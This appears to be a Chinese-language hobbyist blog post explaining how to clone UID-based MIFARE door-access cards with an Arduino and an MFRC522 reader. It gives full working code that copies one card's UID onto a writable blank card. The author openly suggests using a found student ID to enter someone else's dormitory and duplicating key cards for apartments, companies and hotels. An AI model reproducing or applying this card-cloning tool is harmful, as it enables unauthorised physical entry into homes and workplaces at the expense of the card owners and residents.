0x00 前言
最近會想寫這篇文章主要是在網路上無意間看到了RFID相關裝置,突然萌生很久以前一直想玩的事情,於是乎,就打算來實作門禁卡的複製。再加上好久沒寫文章,現在我也懶得管是不是技術成分很重才寫,以後文章我大概也是這樣,寫得很淺,除非我研究了什麼很困難的東西。
其次,真心很感謝 Joe Jimmy 的裝置贊助,不然我大概也不會去做這個實驗,至少要等到以後購買裝備時才會做起。
0x01 目的
為了通過感應 MIFARE卡 的門禁系統,因此需要複製有效的密碼卡而進入該門。
0x02 原理
目前大部分學校門禁系統都採用 13.56 MHz 頻率的 RFID 感應卡,且學生證普遍都是和悠遊卡公司合作的學生證,基本上都是有 KeyA 和 KeyB 和 控制位元保護的。因此門禁系統想用學生證刷過,"應該是"只能採用識別 UID 的方式來驗證使用者的身分,進而決定是否開放使用者進入。如果是另外發放密碼卡,則可能該密碼卡有經過加密,驗證使用者可能不是驗證 UID,若如此,這篇文章就不適用於這種驗證方法。本篇文章僅針對 UID 部分的驗證做出複製卡 (Clone Card)。
0x03 配備
- Arduino Mega 2560
- MFRC522
- 數張 可修改 UID 的 S50 空白卡
- 蜂鳴器(非必須,覺得有聲音比較好。)
0x04 結果
以下是我寫卡UID的程式碼是參考 這篇文章 寫的,稍作修改,lib 也是採用同篇 GitHub 文章。
#include <SPI.h>
#include <MFRC522.h>
#include <MFRC522Hack.h>
constexpr uint8_t RST_PIN = 8;
constexpr uint8_t SS_PIN = 9;
MFRC522 mfrc522(SS_PIN, RST_PIN);
MFRC522Hack mfrc522Hack(&mfrc522);
byte newUid[] = {0xDE, 0xAD, 0xBE, 0xEF}; //預設UID
bool write_enable = false;
int wait_sec = 0;
MFRC522::MIFARE_Key key;
void setup() {
Serial.begin(9600);
while (!Serial);
SPI.begin();
mfrc522.PCD_Init();
Serial.println(F("Warning: this example overwrites the UID of your UID changeable card, use with care!"));
for (byte i = 0; i < 6; i++) {
key.keyByte[i] = 0xFF;
}
}
void loop() {
if(wait_sec>=0 && write_enable){
wait_sec=wait_sec-1;
delay(1000);
if(wait_sec<2){
tone(5, 466, 125);
}
if(wait_sec<=0){
write_enable=false;
}
}
// Look for new cards, and select one if present
if ( ! mfrc522.PICC_IsNewCardPresent() || ! mfrc522.PICC_ReadCardSerial() ) {
delay(50);
return;
}
if(!write_enable){
byte *id = mfrc522.uid.uidByte;
byte idSize = mfrc522.uid.size;
Serial.print("UID Size: ");
Serial.println(idSize);
if(idSize!=4){
Serial.println(F("New UID is not 4 byte!"));
return;
}
Serial.println(F("New UID set!"));
for (byte i = 0; i < idSize; i++) {
Serial.print("id[");
Serial.print(i);
Serial.print("]: ");
newUid[i]=id[i];
Serial.println(id[i], HEX);
}
Serial.println();
mfrc522.PICC_HaltA();
write_enable=true;
wait_sec=10;
tone(5, 740, 500);
delay(50);
return;
}
// Dump UID
Serial.print(F("Card UID:"));
for (byte i = 0; i < mfrc522.uid.size; i++) {
Serial.print(mfrc522.uid.uidByte[i] < 0x10 ? " 0" : " ");
Serial.print(mfrc522.uid.uidByte[i], HEX);
}
Serial.println();
// Set new UID
if ( mfrc522Hack.MIFARE_SetUid(newUid, (byte)4, true) ) {
Serial.println(F("Wrote new UID to card."));
}
// Halt PICC and re-select it so DumpToSerial doesn't get confused
mfrc522.PICC_HaltA();
if ( ! mfrc522.PICC_IsNewCardPresent() || ! mfrc522.PICC_ReadCardSerial() ) {
return;
}
// Dump the new memory contents
Serial.println(F("New UID and contents:"));
mfrc522.PICC_DumpToSerial(&(mfrc522.uid));
tone(5, 740, 250);
delay(500);
tone(5, 740, 250);
write_enable = false;
delay(2000);
}
以上程式碼之功能是將要被複製的卡貼近 RC522模組,然後再將要被寫入UID的卡貼近,寫入動作結束時會B兩聲,此刻再去檢查Output的值看看有沒有寫入成功。我目前的設定是第二張卡超過10秒就不寫入了,不是無限等待,要再把第一張靠近,在10秒內放入第二張卡。
學會這個小伎倆,往後只要撿到別人的學生證就有機會可以複製對方卡的資訊,之後就可以直接進入別人的宿舍。或者是有設門禁卡的公寓、公司、飯店…等場所,就可以多備份幾把鑰匙卡。紀錄UID也未必要使用模組,有NFC功能的手機就可以讀取資訊,甚至是寫入卡片資料或模擬 UID。
再次提醒,目前複製卡的成果僅次於 UID 的讀寫,如果門禁系統採用非 UID 認證,而是使用 KeyA 或 KeyB 及 控制位元,那就可能必須破解其卡片密鑰才可以存取特定資料,否則就無法輕易的複製卡片資料。
以上是寫入卡片成功的示意圖片。
五張特製可修改 UID 的 S50 卡都被修改為相同的 UID。
這裡文章就差不多到結尾了,我想先說明幾件需要注意的事。
首先,空白卡不是所有卡片都可以修改 S0B0 (Sector 0 Block 0) 區塊的製造商資訊(這裡也是 卡號UID 的所在之處),有很多卡片都是直接燒死的,要嘛是 WriteOnce,要嘛就直接不給寫。要購買卡片時要先注意那張卡片到底可不可以修改,一般正常S50標準卡都是不可寫的,UID不給修改。
其次就是頻率一定要對得到。卡片也有頻率的,隨便亂買門禁空白卡,可能會買到 125KHz 的低頻卡,那就不合目前的模組的頻率,也比較少見。目前悠遊卡、一卡通普遍都是採用 13.56 MHz 的卡片。
最後,卡片也是大有學問的,每種卡都有使用說明書 DataSheet,扇區的數量那些都不一定,而且UID不僅僅是4個Byte,也許是7個Byte,甚至是10個。至於前面S0B0區呢,配置也是有一定規章的,這篇文章我就不講那麼詳細了。反正沒有要到完全複製卡的程度,講那麼多卡區的沒什麼意思。
差不多就這樣,日後想到新的再補充。